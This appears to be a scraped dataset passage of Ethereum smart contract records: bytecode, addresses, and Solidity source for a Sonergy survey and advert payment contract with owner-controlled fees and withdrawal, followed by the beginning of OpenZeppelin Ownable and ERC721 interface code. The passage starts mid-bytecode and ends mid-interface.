071d576107186109db61056d565b849083611678565b60007f000000000000000000000000b900ef131301b307db5efcbed9dbb50a3e209b2e6001600160a01b031663d55a23f46040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a43573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a679190611c4f565b905060058110610ab35760405162461bcd60e51b8152602060048201526012602482015271657863656564206d6178207265776172647360701b60448201526064015b60405180910390fd5b610abf600760006119f1565b60005b81811015610bfb57604051632061aa2360e11b8152600481018290526007907f000000000000000000000000b900ef131301b307db5efcbed9dbb50a3e209b2e6001600160a01b0316906340c3544690602401602060405180830381865afa158015610b32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b569190611d01565b6001600160a01b031663f7c618c16040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b93573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bb79190611d01565b81546001810183556000928352602090922090910180546001600160a01b0319166001600160a01b0390921691909117905580610bf381611ce6565b915050610ac2565b5060077f000000000000000000000000b900ef131301b307db5efcbed9dbb50a3e209b2e6001600160a01b031663f7c618c16040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c5c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c809190611d01565b81546001810183556000928352602090922090910180546001600160a01b0319166001600160a01b0390921691909117905550565b6000610cc083611442565b905080610cfd5760405162461bcd60e51b815260206004820152600b60248201526a5a45524f5f53484152455360a81b6044820152606401610aaa565b610d326001600160a01b037f000000000000000000000000d632f22692fac7611d2aa1c0d552930d43caed3b16333086611697565b610d3c828261172b565b60408051848152602081018390526001600160a01b0384169133917fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7910160405180910390a36106f28382611785565b60078181548110610d9c57600080fd5b6000918252602090912001546001600160a01b0316905081565b6006546001600160a01b03163314610dff5760405162461bcd60e51b815260206004820152600c60248201526b15539055551213d49256915160a21b6044820152606401610aaa565b600680546001600160a01b0319166001600160a01b0383169081179091556040517fb7e97ad603f12568684fc43c82127d953e94f3954cf36344cbbfa34d67b0b0cf90600090a250565b6000610e5483610f58565b9050610e8b6001600160a01b037f000000000000000000000000d632f22692fac7611d2aa1c0d552930d43caed3b16333084611697565b610e95828261172b565b60408051828152602081018590526001600160a01b0384169133917fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d7910160405180910390a36106f28184611785565b6001805461060a90611c68565b33600090815260036020526040812080548391908390610f13908490611cb9565b90915550506001600160a01b03831660008181526003602052604090819020805485019055513390600080516020611df5833981519152906106e69086815260200190565b600254600090801561071d57610718610f6f61056d565b849083611462565b6000610f82846106f8565b9050336001600160a01b03831614610ff2576001600160a01b03821660009081526004602090815260408083203384529091529020546000198114610ff057610fcb8282611cb9565b6001600160a01b03841660009081526004602090815260408083203384529091529020555b505b610ffc8482611879565b6110068282611948565b826001600160a01b0316826001600160a01b03167ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb5678684604051611054929190918252602082015260400190565b60405180910390a361071f6001600160a01b037f000000000000000000000000d632f22692fac7611d2aa1c0d552930d43caed3b1684866115f9565b6001600160a01b03811660008181526004602090815260408083203380855292528220549192148015906110c657506000198114155b156110fa576110d58582611cb9565b6001600160a01b03841660009081526004602090815260408083203384529091529020555b611103856109c4565b9150816111405760405162461bcd60e51b815260206004820152600b60248201526a5a45524f5f41535345545360a81b6044820152606401610aaa565b61114a8286611879565b6111548386611948565b836001600160a01b0316836001600160a01b03167ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb56784886040516111a2929190918252602082015260400190565b60405180910390a36111de6001600160a01b037f000000000000000000000000d632f22692fac7611d2aa1c0d552930d43caed3b1685846115f9565b509392505050565b60006106f282610806565b428410156112415760405162461bcd60e51b815260206004820152601760248201527f5045524d49545f444541444c494e455f455850495245440000000000000000006044820152606401610aaa565b600061124b610853565b6001600160a01b0389811660008181526005602090815260409182902080546001810190915582517f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98184015280840194909452938c166060840152608083018b905260a083019390935260c08083018a90528151808403909101815260e08301909152805192019190912061190160f01b6101008301526101028201929092526101228101919091526101420160408051601f198184030181528282528051602091820120600080855291840180845281905260ff88169284019290925260608301869052608083018590529092509060019060a0016020604051602081039080840390855afa158015611364573d6000803e3d6000fd5b5050604051601f1901519150506001600160a01b0381161580159061139a5750886001600160a01b0316816001600160a01b0316145b6113d75760405162461bcd60e51b815260206004820152600e60248201526d24a72b20a624a22fa9a4a3a722a960911b6044820152606401610aaa565b6001600160a01b0390811660009081526004602090815260408083208b8516808552908352928190208a905551898152919350918a16917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a350505050505050565b600254600090801561071d576107188161145a61056d565b859190611678565b82820281151584158583048514171661147a57600080fd5b6001826001830304018115150290509392505050565b60007f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60006040516114c29190611d1e565b6040805191829003822060208301939093528101919091527fc89efdaa54c0f20c7adf612882df0950f5a951637e0307cdcb4c672f298b8bc660608201524660808201523060a082015260c00160405160208183030381529060405280519060200120905090565b604051637050ccd960e01b8152306004820152600160248201527f000000000000000000000000b900ef131301b307db5efcbed9dbb50a3e209b2e6001600160a01b031690637050ccd9906044016020604051808303816000875af1158015611597573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115bb9190611dba565b6115f75760405162461bcd60e51b815260206004820152600d60248201526c3932bbb0b932399032b93937b960991b6044820152606401610aaa565b565b600060405163a9059cbb60e01b81526001600160a01b03841660048201528260248201526000806044836000895af1915050611634816119aa565b6116725760405162461bcd60e51b815260206004820152600f60248201526e1514905394d1915497d19052531151608a1b6044820152606401610aaa565b50505050565b82820281151584158583048514171661169057600080fd5b0492915050565b60006040516323b872dd60e01b81526001600160a01b03851660048201526001600160a01b038416602482015282604482015260008060648360008a5af19150506116e1816119aa565b6117245760405162461bcd60e51b81526020600482015260146024820152731514905394d1915497d19493d357d1905253115160621b6044820152606401610aaa565b5050505050565b806002600082825461173d9190611ddc565b90915550506001600160a01b038216600081815260036020908152604080832080548601905551848152600080516020611df583398151915291015b60405180910390a35050565b6040516321d0683360e11b81527f0000000000000000000000000000000000000000000000000000000000000020600482015260248101839052600160448201527f000000000000000000000000f403c135812408bfbe8713b5a23a04b3d48aae316001600160a01b0316906343a0d066906064016020604051808303816000875af1158015611819573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061183d9190611dba565b6109c05760405162461bcd60e51b815260206004820152600d60248201526c3232b837b9b4ba1032b93937b960991b6044820152606401610aaa565b604051636197390160e11b815260048101839052600060248201527f000000000000000000000000b900ef131301b307db5efcbed9dbb50a3e209b2e6001600160a01b03169063c32e7202906044016020604051808303816000875af11580156118e7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061190b9190611dba565b6109c05760405162461bcd60e51b815260206004820152600e60248201526d3bb4ba34323930bb9032b93937b960911b6044820152606401610aaa565b6001600160a01b03821660009081526003602052604081208054839290611970908490611cb9565b90915550506002805482900390556040518181526000906001600160a01b03841690600080516020611df583398151915290602001611779565b60003d826119bc57806000803e806000fd5b80602081146119d45780156119e557600092506119ea565b816000803e600051151592506119ea565b600192505b5050919050565b5080546000825590600052602060002090810190611a0f9190611a12565b50565b5b80821115611a275760008155600101611a13565b5090565b600060208083528351808285015260005b81811015611a5857858101830151858201604001528201611a3c565b81811115611a6a576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114611a0f57600080fd5b60008060408385031215611aa857600080fd5b8235611ab381611a80565b946020939093013593505050565b600060208284031215611ad357600080fd5b5035919050565b600080600060608486031215611aef57600080fd5b8335611afa81611a80565b92506020840135611b0a81611a80565b929592945050506040919091013590565b600060208284031215611b2d57600080fd5b813561071f81611a80565b60008060408385031215611b4b57600080fd5b823591506020830135611b5d81611a80565b809150509250929050565b600080600060608486031215611b7d57600080fd5b833592506020840135611b8f81611a80565b91506040840135611b9f81611a80565b809150509250925092565b600080600080600080600060e0888a031215611bc557600080fd5b8735611bd081611a80565b96506020880135611be081611a80565b95506040880135945060608801359350608088013560ff81168114611c0457600080fd5b9699959850939692959460a0840135945060c09093013592915050565b60008060408385031215611c3457600080fd5b8235611c3f81611a80565b91506020830135611b5d81611a80565b600060208284031215611c6157600080fd5b5051919050565b600181811c90821680611c7c57607f821691505b60208210811415611c9d57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015611ccb57611ccb611ca3565b500390565b634e487b7160e01b600052603260045260246000fd5b6000600019821415611cfa57611cfa611ca3565b5060010190565b600060208284031215611d1357600080fd5b815161071f81611a80565b600080835481600182811c915080831680611d3a57607f831692505b6020808410821415611d5a57634e487b7160e01b86526022600452602486fd5b818015611d6e5760018114611d7f57611dac565b60ff19861689528489019650611dac565b60008a81526020902060005b86811015611da45781548b820152908501908301611d8b565b505084890196505b509498975050505050505050565b600060208284031215611dcc57600080fd5b8151801515811461071f57600080fd5b60008219821115611def57611def611ca3565b50019056feddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa2646970667358221220b074fc46414e7f7c12dc5b10ce1fd835c7c44e0e11fa661ae9c0eabadb56dc0a64736f6c634300080a0033
[ 4, 9, 5 ]
0xf31772cd71822d7d78240940b50cf571169579ec
pragma solidity ^0.5.0; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); } contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * > Note: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Sonergy_Survey_System_v1 is Ownable{ address private sonergyTokenAddress; address private messenger; enum ChangeTypes{ SURVEY, REGISTRATION, ADVERT, FEE } mapping (uint256 => uint256) private surveyPlans; mapping (uint256 => uint256) private advertPlans; mapping(address => bool) isAValidator; uint public fees; uint public validatorRegistrationFee; struct ValidatedAnswers{ uint participantID; uint[] validators; uint surveyID; address messenger; } ValidatedAnswers[] validatedAns; mapping(uint => ValidatedAnswers[]) listOfValidatedAns; using SafeMath for uint256; constructor(address _sonergyTokenAddress, uint _fee, uint _validatorRegistrationFee) public{ sonergyTokenAddress = _sonergyTokenAddress; fees = _fee; validatorRegistrationFee = _validatorRegistrationFee; } event PriceChanged(address initiator, uint _from, uint _to, uint _duration, ChangeTypes _type); event NewValidator(uint _userID, address _validator); event ValidatedQuestionByUser(uint[] _validators, uint _participantID, uint _survey_id, uint _newID); event Paid(address creator, uint amount, uint fee, uint _duration, uint survey_id, ChangeTypes _type); event MessengerChanged(address _from, address _to); modifier onlyMessenger() { require(msg.sender == messenger, "caller is not a messenger"); _; } function payForSurvey(uint256 survey_id, uint _duration) public { IERC20 sonergyToken = IERC20(sonergyTokenAddress); uint amount = surveyPlans[_duration]; require(amount > 0, "Invalid plan"); uint fee = uint(int256(amount) / int256(10000) * int256(fees)); require(sonergyToken.allowance(msg.sender, address(this)) >= amount.add(fee), "Non-sufficient funds"); require(sonergyToken.transferFrom(msg.sender, address(this), amount.add(fee)), "Fail to tranfer fund"); emit Paid(msg.sender, amount, fee, _duration, survey_id, ChangeTypes.SURVEY); } function payForAdvert(uint256 advert_id, uint _duration) public { IERC20 sonergyToken = IERC20(sonergyTokenAddress); uint amount = advertPlans[_duration]; require(amount > 0, "Invalid plan"); require(sonergyToken.allowance(msg.sender, address(this)) >= amount, "Non-sufficient funds"); require(sonergyToken.transferFrom(msg.sender, address(this), amount), "Fail to tranfer fund"); emit Paid(msg.sender, amount,0, _duration, advert_id, ChangeTypes.ADVERT); } function updateSurveyfee(uint256 _fee) public onlyOwner{ uint256 currentSurveyFee = fees; fees = _fee; emit PriceChanged(msg.sender, currentSurveyFee, _fee, 0, ChangeTypes.FEE); } function updateRegistrationFee(uint256 _fee) public onlyOwner{ uint256 currentRegistrationFee = validatorRegistrationFee; validatorRegistrationFee = _fee; emit PriceChanged(msg.sender, currentRegistrationFee, _fee, 0, ChangeTypes.REGISTRATION); } function updateSurveyPlan(uint256 _price, uint _duration) public onlyOwner{ uint256 currentSurveyPlanPrice = surveyPlans[_duration]; surveyPlans[_duration] = _price; emit PriceChanged(msg.sender, currentSurveyPlanPrice, _price, _duration, ChangeTypes.SURVEY); } function updateAdvertPlan(uint256 _price, uint _duration) public onlyOwner{ uint256 currentAdvertPlanPrice = advertPlans[_duration]; advertPlans[_duration] = _price; emit PriceChanged(msg.sender, currentAdvertPlanPrice, _price, _duration, ChangeTypes.ADVERT); } function setMessenger(address _messenger) public onlyOwner{ address currentMessenger = messenger; messenger = _messenger; emit MessengerChanged(currentMessenger, _messenger); } function withdrawEarning() public onlyOwner{ IERC20 sonergyToken = IERC20(sonergyTokenAddress); require(sonergyToken.transfer(owner(), sonergyToken.balanceOf(address(this))), "Fail to empty vault"); } function becomeAValidator(uint _userID) public{ require(!isAValidator[msg.sender], "Already a validator"); IERC20 sonergyToken = IERC20(sonergyTokenAddress); require(sonergyToken.allowance(msg.sender, address(this)) >= validatorRegistrationFee, "Non-sufficient funds"); require(sonergyToken.transferFrom(msg.sender, address(this), validatorRegistrationFee), "Fail to tranfer fund"); isAValidator[msg.sender] = true; emit NewValidator(_userID, msg.sender); } function validatedAnswers(uint _participantID, uint[] memory _validators, uint _surveyID) public onlyMessenger{ ValidatedAnswers memory _validatedAnswers = ValidatedAnswers({ participantID: _participantID, validators: _validators, surveyID: _surveyID, messenger: msg.sender }); validatedAns.push(_validatedAnswers); uint256 newID = validatedAns.length - 1; emit ValidatedQuestionByUser(_validators, _participantID, _surveyID, newID); } function getvalidatedAnswersByID(uint _id) external view returns(uint _participantID, uint[] memory _validators, uint _surveyID, address _messenger){ ValidatedAnswers memory _validatedAnswers = validatedAns[_id]; return (_validatedAnswers.participantID, _validatedAnswers.validators,_validatedAnswers.surveyID, _validatedAnswers.messenger); } function getPriceOfPlan(uint _duration) public view returns (uint256 _price) { return surveyPlans[_duration]; } function getFees() public view returns (uint256 _reg, uint256 _survey) { return (validatorRegistrationFee, fees); } function getPriceOfAdevert(uint _duration) public view returns (uint256 _price) { return advertPlans[_duration]; } function setSonergyTokenAddress(address _sonergyTokenAddress) public onlyOwner{ sonergyTokenAddress = _sonergyTokenAddress; } function getSonergyTokenAddress() public view returns (address _sonergyTokenAddress) { return(sonergyTokenAddress); } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c8063899161a0116100b8578063a71021191161007c578063a7102119146103fa578063acfcc2e01461041d578063af582c6b14610440578063c4fe94241461045d578063db8d55f114610465578063f2fde38b1461048657610142565b8063899161a0146103a35780638da5cb5b146103ab5780638f32d59b146103b35780639af1d35a146103cf5780639e7f4333146103d757610142565b80634a88bf551161010a5780634a88bf551461020257806364953e121461028f57806366285967146102ac5780636f56aab0146102d2578063715018a6146102ef57806386452b40146102f757610142565b806305265e4e1461014757806310f90e801461016c57806318032ca8146101895780632a0a480b146101af5780632a9e9e34146101de575b600080fd5b61016a6004803603604081101561015d57600080fd5b50803590602001356104ac565b005b61016a6004803603602081101561018257600080fd5b5035610775565b61016a6004803603602081101561019f57600080fd5b50356001600160a01b03166109c1565b6101cc600480360360208110156101c557600080fd5b5035610a2a565b60408051918252519081900360200190f35b6101e6610a3c565b604080516001600160a01b039092168252519081900360200190f35b61021f6004803603602081101561021857600080fd5b5035610a4c565b604080518581529081018390526001600160a01b038216606082015260806020808301828152865192840192909252855160a0840191878101910280838360005b83811015610278578181015183820152602001610260565b505050509050019550505050505060405180910390f35b6101cc600480360360208110156102a557600080fd5b5035610b25565b61016a600480360360208110156102c257600080fd5b50356001600160a01b0316610b37565b61016a600480360360208110156102e857600080fd5b5035610be1565b61016a610c87565b61016a6004803603606081101561030d57600080fd5b8135919081019060408101602082013564010000000081111561032f57600080fd5b82018360208201111561034157600080fd5b8035906020019184602083028401116401000000008311171561036357600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295505091359250610d18915050565b61016a610ef4565b6101e661108c565b6103bb61109b565b604080519115158252519081900360200190f35b6101cc6110ac565b61016a600480360360408110156103ed57600080fd5b50803590602001356110b2565b61016a6004803603604081101561041057600080fd5b5080359060200135611164565b61016a6004803603604081101561043357600080fd5b50803590602001356113d8565b61016a6004803603602081101561045657600080fd5b5035611475565b6101cc611504565b61046d61150a565b6040805192835260208301919091528051918290030190f35b61016a6004803603602081101561049c57600080fd5b50356001600160a01b0316611514565b6001546000828152600360205260409020546001600160a01b03909116908061050b576040805162461bcd60e51b815260206004820152600c60248201526b24b73b30b634b210383630b760a11b604482015290519081900360640190fd5b6000600654612710838161051b57fe5b0502905061052f828263ffffffff61156416565b60408051636eb1769f60e11b815233600482015230602482015290516001600160a01b0386169163dd62ed3e916044808301926020929190829003018186803b15801561057b57600080fd5b505afa15801561058f573d6000803e3d6000fd5b505050506040513d60208110156105a557600080fd5b505110156105f1576040805162461bcd60e51b81526020600482015260146024820152734e6f6e2d73756666696369656e742066756e647360601b604482015290519081900360640190fd5b6001600160a01b0383166323b872dd3330610612868663ffffffff61156416565b6040518463ffffffff1660e01b815260040180846001600160a01b03166001600160a01b03168152602001836001600160a01b03166001600160a01b031681526020018281526020019350505050602060405180830381600087803b15801561067a57600080fd5b505af115801561068e573d6000803e3d6000fd5b505050506040513d60208110156106a457600080fd5b50516106ee576040805162461bcd60e51b815260206004820152601460248201527311985a5b081d1bc81d1c985b99995c88199d5b9960621b604482015290519081900360640190fd5b7faf72cccbbe7217bbfe27009f5d2318f48d59102c62713098a86ec2ebc920bc893383838789600060405180876001600160a01b03166001600160a01b0316815260200186815260200185815260200184815260200183815260200182600381111561075657fe5b60ff168152602001965050505050505060405180910390a15050505050565b3360009081526005602052604090205460ff16156107d0576040805162461bcd60e51b815260206004820152601360248201527220b63932b0b23c9030903b30b634b230ba37b960691b604482015290519081900360640190fd5b60015460075460408051636eb1769f60e11b815233600482015230602482015290516001600160a01b0390931692839163dd62ed3e916044808301926020929190829003018186803b15801561082557600080fd5b505afa158015610839573d6000803e3d6000fd5b505050506040513d602081101561084f57600080fd5b5051101561089b576040805162461bcd60e51b81526020600482015260146024820152734e6f6e2d73756666696369656e742066756e647360601b604482015290519081900360640190fd5b600754604080516323b872dd60e01b81523360048201523060248201526044810192909252516001600160a01b038316916323b872dd9160648083019260209291908290030181600087803b1580156108f357600080fd5b505af1158015610907573d6000803e3d6000fd5b505050506040513d602081101561091d57600080fd5b5051610967576040805162461bcd60e51b815260206004820152601460248201527311985a5b081d1bc81d1c985b99995c88199d5b9960621b604482015290519081900360640190fd5b33600081815260056020908152604091829020805460ff1916600117905581518581529081019290925280517fcbde0481b37e4b90d96b4492b49bcd7b48b260233519b878611a16a184b071aa9281900390910190a15050565b6109c961109b565b610a08576040805162461bcd60e51b81526020600482018190526024820152600080516020611742833981519152604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60009081526004602052604090205490565b6001546001600160a01b03165b90565b60006060600080610a5b611665565b60088681548110610a6857fe5b90600052602060002090600402016040518060800160405290816000820154815260200160018201805480602002602001604051908101604052809291908181526020018280548015610ada57602002820191906000526020600020905b815481526020019060010190808311610ac6575b505050918352505060028201546020808301919091526003909201546001600160a01b0316604091820152825191830151908301516060909301519199909850919650945092505050565b60009081526003602052604090205490565b610b3f61109b565b610b7e576040805162461bcd60e51b81526020600482018190526024820152600080516020611742833981519152604482015290519081900360640190fd5b600280546001600160a01b038381166001600160a01b0319831681179093556040805191909216808252602082019390935281517fbb79f9a15848b49f81b17a2829adc8f59d1f24071f0626af7b14397728f2f176929181900390910190a15050565b610be961109b565b610c28576040805162461bcd60e51b81526020600482018190526024820152600080516020611742833981519152604482015290519081900360640190fd5b600680549082905560408051338082526020820184905291810184905260006060820181905260008051602061172283398151915292918491869160039060808101825b60ff1681526020019550505050505060405180910390a15050565b610c8f61109b565b610cce576040805162461bcd60e51b81526020600482018190526024820152600080516020611742833981519152604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6002546001600160a01b03163314610d77576040805162461bcd60e51b815260206004820152601960248201527f63616c6c6572206973206e6f742061206d657373656e67657200000000000000604482015290519081900360640190fd5b610d7f611665565b50604080516080810182528481526020808201858152928201849052336060830152600880546001810180835560009290925283517ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee3600490920291820190815594518051949592948694610e18937ff3f7a9fe364faab93b216da50a3214154f22a0a2b415b23a84c8169e8b636ee401920190611696565b506040820151816002015560608201518160030160006101000a8154816001600160a01b0302191690836001600160a01b03160217905550505050600060016008805490500390507fc7db15b0b5e846ded80047df02967557f07e37f77f7bc802b3976fd483bb7359848685846040518080602001858152602001848152602001838152602001828103825286818151815260200191508051906020019060200280838360005b83811015610ed7578181015183820152602001610ebf565b505050509050019550505050505060405180910390a15050505050565b610efc61109b565b610f3b576040805162461bcd60e51b81526020600482018190526024820152600080516020611742833981519152604482015290519081900360640190fd5b6001546001600160a01b03168063a9059cbb610f5561108c565b604080516370a0823160e01b815230600482015290516001600160a01b038616916370a08231916024808301926020929190829003018186803b158015610f9b57600080fd5b505afa158015610faf573d6000803e3d6000fd5b505050506040513d6020811015610fc557600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b15801561101657600080fd5b505af115801561102a573d6000803e3d6000fd5b505050506040513d602081101561104057600080fd5b5051611089576040805162461bcd60e51b815260206004820152601360248201527211985a5b081d1bc8195b5c1d1e481d985d5b1d606a1b604482015290519081900360640190fd5b50565b6000546001600160a01b031690565b6000546001600160a01b0316331490565b60065481565b6110ba61109b565b6110f9576040805162461bcd60e51b81526020600482018190526024820152600080516020611742833981519152604482015290519081900360640190fd5b6000818152600360209081526040808320805490869055815133808252938101829052918201869052606082018590529260008051602061172283398151915292918491879187919060808101825b60ff1681526020019550505050505060405180910390a1505050565b6001546000828152600460205260409020546001600160a01b0390911690806111c3576040805162461bcd60e51b815260206004820152600c60248201526b24b73b30b634b210383630b760a11b604482015290519081900360640190fd5b60408051636eb1769f60e11b8152336004820152306024820152905182916001600160a01b0385169163dd62ed3e91604480820192602092909190829003018186803b15801561121257600080fd5b505afa158015611226573d6000803e3d6000fd5b505050506040513d602081101561123c57600080fd5b50511015611288576040805162461bcd60e51b81526020600482015260146024820152734e6f6e2d73756666696369656e742066756e647360601b604482015290519081900360640190fd5b604080516323b872dd60e01b81523360048201523060248201526044810183905290516001600160a01b038416916323b872dd9160648083019260209291908290030181600087803b1580156112dd57600080fd5b505af11580156112f1573d6000803e3d6000fd5b505050506040513d602081101561130757600080fd5b5051611351576040805162461bcd60e51b815260206004820152601460248201527311985a5b081d1bc81d1c985b99995c88199d5b9960621b604482015290519081900360640190fd5b7faf72cccbbe7217bbfe27009f5d2318f48d59102c62713098a86ec2ebc920bc89338260008688600260405180876001600160a01b03166001600160a01b031681526020018681526020018581526020018481526020018381526020018260038111156113ba57fe5b60ff168152602001965050505050505060405180910390a150505050565b6113e061109b565b61141f576040805162461bcd60e51b81526020600482018190526024820152600080516020611742833981519152604482015290519081900360640190fd5b600081815260046020908152604091829020805490859055825133808252928101829052928301859052606083018490529160008051602061172283398151915291908390869086906002906080810182611148565b61147d61109b565b6114bc576040805162461bcd60e51b81526020600482018190526024820152600080516020611742833981519152604482015290519081900360640190fd5b60078054908290556040805133808252602082018490529181018490526000606082018190526000805160206117228339815191529291849186916001906080810182610c6c565b60075481565b6007546006549091565b61151c61109b565b61155b576040805162461bcd60e51b81526020600482018190526024820152600080516020611742833981519152604482015290519081900360640190fd5b611089816115c5565b6000828201838110156115be576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b6001600160a01b03811661160a5760405162461bcd60e51b81526004018080602001828103825260268152602001806116fc6026913960400191505060405180910390fd5b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b604051806080016040528060008152602001606081526020016000815260200160006001600160a01b031681525090565b8280548282559060005260206000209081019282156116d1579160200282015b828111156116d15782518255916020019190600101906116b6565b506116dd9291506116e1565b5090565b610a4991905b808211156116dd57600081556001016116e756fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373748ad17c84288152c6f59a6e02bd1d19fb2abf07d5f8cd71b6f1159864c0d1e44f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572a265627a7a723158203b8daf5c8d45cb420bc9c6f8bba5170517381f78edc114436c3812d578339cbe64736f6c63430005110032
[ 4, 7 ]
0xF317841aCB3Cbff644478920f68efb28C8F127Be
// SPDX-License-Identifier: MIT // File: @openzeppelin/contracts/utils/Context.sol pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // File: @openzeppelin/contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _setOwner(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { 